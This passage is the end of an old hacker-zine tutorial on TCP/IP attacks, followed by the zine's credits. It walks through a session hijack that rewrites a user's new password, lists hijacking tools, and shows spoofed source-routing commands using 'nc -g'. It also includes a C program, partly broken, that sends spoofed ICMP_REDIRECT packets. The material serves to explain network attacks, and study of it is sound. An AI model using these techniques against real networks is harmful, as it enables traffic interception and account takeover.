Host C ...Host X again decides not to make any modifications to the packet, as Host S (the server) is only sending the directory listings back, nothing special... Host C: DST (Host S), DATA ("passwd") -> Host S ...The attacker's head shoots up. The user is going to change their password. The attacker can edit the packet in which the user specifies their new password, and set it to what they want. Host X forwards the packet to Host S without any changes... Host S: DST (Host C), DATA ("(current) UNIX password: ") -> Host C ...Host X forwards the packet with out any modifications to Host C... Host C: DST (Host S), DATA ("elitehacker") -> Host S ...Host X receives the packet. Although the attacker now has the user's password, it doesn't really matter, because he'll issue a new password is a few moments, and he (the attacker) will modify it... Host S: DST (Host C), DATA ("New UNIX password: ") -> Host C ...Host X forwards the packet to Host C, with no modifications. The time is near to when the attacker will modify Host C's packets... Host C: DST (Host S), DATA ("elitehacker123") -> Host S ...Host X receives the packet. The attacker modifies the packet data to now contain "elitehacker234", and injects the packet back into the network, and forwards it to Host S... Host S: DST (Host C), DATA ("Retype new UNIX password: ") -> Host C ...Host X forwards the packet with no modifcations to Host C... Host C: DST (Host S), DATA ("elitehacker123") -> Host S ...Host X receives the packet, the attacker modifies the packet, and edits the packet data to say "elitehacker234", and forwards the packet appropriately to Host S... Host S: DST (Host C), DATA ("passwd: all authentication tokens updated successfully.") -> Host C ...Host X receives the packet, and as usual, forwards it to Host C... ****************************************** At this point, the user on Host C happily presumes that their password has been changed successfully (they saw the messages themselves), and gets on with their daily work. However, little do they know that the attacker actually edited the packets, and the password is now "elitehacker234", not "elitehacker123" as the victim thinks. --] 1.2 ATTACKS - TCP SESSION HIJACKING - TOOLS There are various interesting tools in relation to TCP session hijacking attacks. Here's a few popular ones: HUNT - http://packetstormsecurity.nl/sniffers/hunt/ Ettercap - http://ettercap.sourceforge.net/ Further interesting tools related to TCP session Hijacking can be found at http://www.packetstormsecurity.org --] 1.3 ATTACKS - TCP SESSION HIJACKING - FURTHER READING You might want to do a little further research after my rather brief explanation of attacks. Here's a few good links for further reading: http://www.iss.net/security_center/advice/...ing/default.htm http://staff.washington.edu/dittrich/talks...ora/hijack.html http://www.cs.cornell.edu/Courses/CS519/20...Ctcphijack.html http://weadmin.com/satish/talk/non_blind_s...ion_hijack.html --[ 1.0 ATTACKS - ROUTING ATTACKS ]-- When packets leave a system through their network interface, to travel across the Internet to a given destination host, the best route is chosen for the packet to ensure the quickest way to the destination host is taken. However, various vulnerabilities exist in TCP/IP which allow attackers to interfere with the route that legimate user's packets take to their destination, potentially allowing attackers to perform sniffing, hijacking and other various attacks. One such example is Source routing. --] 1.1 ATTACKS - ROUTING ATTACKS - SOURCE ROUTING Source routing is an example of a classical spoofing attack, and is a pretty old trick in itself. The theory behind a source routing attack is the idea that you can specify the route a packet takes, rather than just letting it go through the routers. This way, because it didn't travel through routers, but through the route of the attacker's choice, packets sent can have a spoofed address, and the spoofing attack is non-blind. What is meant by non-blind is that unlike Sequence Number Prediction attacks for example, you can actually receive packets back. This particular type of routing attack could be useful for an attacker in a situation such as his/her target host, Company A, filters all packets from the Internet, excluding those coming from Company B. If an attacker could source route packets to travel through Company B's servers, the packets would be accepted, rather than dropped as Company A's servers are configured. Here's a simple example of how an attacker could spoof his address to appear to have originated from a trusted IP address, rather than his own, on a UNIX machine: ****************************************** [hacker@mybox.org /root]# ifconfig eth0:0 inet 192.168.3.201 netmask 255.255.255.255 [hacker@mybox.org /root]# nc -g 192.168.3.197 -g 192.168.3.198 -g 192.168.3.199 192.168.3.200 21 ****************************************** Here, the attacker attempts to initiate an FTP connection, with a spoofed source address of 192.168.3.201, by routing his connection through some other machines on the local network, instead of routers. However, although this attack is effective when successful, not all machines (UNIX and UNIX-like) are configured by default to relay source routed TCP stream packets. If one of machines an attacker attempts to route his packets through does not accept sourcr routed TCP packets, the spoofing attack will consequently fail. One major upside to this attack for an attacker is that the attack is non-blind, meaning that he/she can see the packets, just like an ordinary connection, however it is limited to their local network. Although this is quite a serious vulnerability in the TCP/IP suite, it is very easily fixed. All that is needed is that the root user changes the contents of /proc/sys/net/ipv4/conf/all/accept_source_route to 0. --] 1.2 ATTACKS - ROUTING ATTACKS - ICMP REDIRECTS As mentioned above, routers basically just determine the most efficient route to the proposed destination host, and send the packet off on that route. To keep this system as efficient as possible, when a packet is sent to the default router on a network, if there is a closer router to the machine sending the packet, the router sends an ICMP redirect packet back to the networked machine, instructing it to send the packets to the other router on the network instead. However, this little system has a potentially serious flaw: what if an attacker spoofs an ICMP_REDIRECT packet to be pretending to be from the router to the user's machine, telling the machine that his (the attacker's) box is actually the best router to send the packets to instead. All packets in that connection sent from the user on the network will then be instead sent to the attacker's machine, which he can do what he likes with. Modify them (could be used as a hijacking attack), drop them, or whatever he/she likes. Here's a very simple diagram of the sort of activity on the network, during an ICMP_REDIRECT attack: ****************************************** Host C: SRC (Host C), SYN (ISN A), DST (Host S) -> Router A Host X: SRC (Router A), ICMP_REDIRECT (Host X), DST (Host C) -> Host C Host C: SRC (Host C), SYN (ISN A), DST (Host S) -> Host X ...attacker now has control of the packet. He/she can do what they like with it, but should redirect it to the destination... Host X: SRC (Host C), SYN (ISN A), DST (Host S) -> Host S ...Attacker redirected packet to original destination, so Host C doesn't get suspicious about the connection request not being made... ****************************************** In this example attack, Host C (the client) attempted to send a connection request to Host S via the default network router, Router A. However, before the packet could get there, Host X (the attacker) spoofed an ICMP_REDIRECT packet from Router A, telling Host C to send the packets via his own box (Host X, obviously to do illegimate things with). Host X then forwarded the packet to the proper destination (Host S), so as to not make Host C suspicious. Quite obviously this type of attack could be used as a TCP/IP session hijacking attack. Here's a small program I have written as an example of how such an attack could be implemented into a program: *************************************CUT HERE********************************** #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[5000]; struct sockaddr_in dest; struct hostent *host; struct iphdr *ip = (struct iphdr *) packet; struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("192.168.3.201"); ip->daddr = inet_ntoa(dest.sin_addr); ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_REDIRECT; icmp->code = 0; printf("Sent spoofed ICMP_REDIRECT packet from 192.168.3.201 to %s!\n", argv[1]); sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); return(0); } *************************************CUT HERE********************************** --[ CONCLUSION ]-- I hope that this paper benefits you in some way, if not for any other reason than any laughs you had whilst reading my article. If you have any positive comments on the article, any ideas for improvement or any other misc. comments, drop me a line . -Shaun2k2. --- I took an online test, and it turns out I'm "Stoned Carebear" --- -- Credits Without the following contributions, this zine issue would be fairly delayed or not released. So thank you to the following people: Aestetix, Anonymous Phone Hero, Cybersk4nk, CYB0RG/ASM, Diabolik, Kankraka, Kybo Ren, shaun2k2, and The Clone -- Shouts: CYB0RG/ASM, Wildman, H410g3n, warVamp, The Question, plappy, Phlux, rt, Magma, Hack Canada, The Grasshopper Unit, Flippersmack, soapie, Ms.O, Flopik, dec0de, caesium, oz0n3, Kris, *Senorita Chandelier*, port9, Azriel J Knight, hades, deadprez, kankraka, coercion, math, irc.2600.net #hackcanada / #nettwerked, and the Canadian H/P scene. -- Special Shouts: Thanks to el nerdo and Pinguino for their awesome K-1ine banner ads! -- Rest In Peace: Johnny Cash, John Ritter. ;. .;.. ; ;. ;.. ;.. .;..; .;.; .;; ;.. .;..;. .;..; .;.;...; ;..;.. .;. A .;. .;. ;.. N E T T W E R K E D ;.. ;..;.. P R O D U C T ;..;.. .;..; ;..;.. ; .;..;.;.. .; . .;. ..;.. .;.. . .; ..;..;..;.. .; ;..;. .;.. . .;.. .;.;. ..;. ..;.. .;. ;.;..;;..;.; ;.;;..;.. ;.;.; .; . ;.;..;. .;. ;.;:.;. ,;....;. .;.;. .;.; .;.;.; .;.; ;..;. .;.;;.; .;. ..; ;. > > > The Things We Do. We Just Never Stop...